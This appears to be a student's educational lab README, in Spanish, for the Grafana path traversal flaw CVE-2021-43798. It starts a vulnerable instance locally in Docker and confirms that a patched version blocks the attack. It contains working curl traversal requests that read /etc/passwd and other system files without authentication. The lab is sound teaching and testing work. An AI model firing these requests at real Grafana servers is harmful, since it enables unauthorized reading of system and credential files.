
CVE-2021-43798 Grafana Path Traversal No Autenticado - Security Lab | Shivam Gupta | 23104003
Solo para uso educativo. Ejecuta este laboratorio únicamente en una máquina local aislada. Nunca lo expongas a internet.
| Campo | Detalle |
|---|---|
| ID del CVE | CVE-2021-43798 |
| Producto | Grafana |
| Versiones afectadas | 8.0.0 – 8.3.0 |
| Versión parcheada | 8.3.1+ |
| Severidad | Alta |
| Puntuación CVSS v3.1 | 7.5 |
| CWE | CWE-22 — Path Traversal |
| Autenticación requerida | Ninguna |
| Vector de ataque | Red |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
Verificar:
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"
Abre http://127.0.0.1:3000 — usuario: admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
Esperado: contenido del archivo devuelto con HTTP 200 — no se requiere autenticación.
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
Si se devuelve el hostname → VULNERABLE. Versión 8.0.0–8.3.0 → VULNERABLE.
Iniciar la instancia parcheada (Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
Verificar que el exploit está bloqueado:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down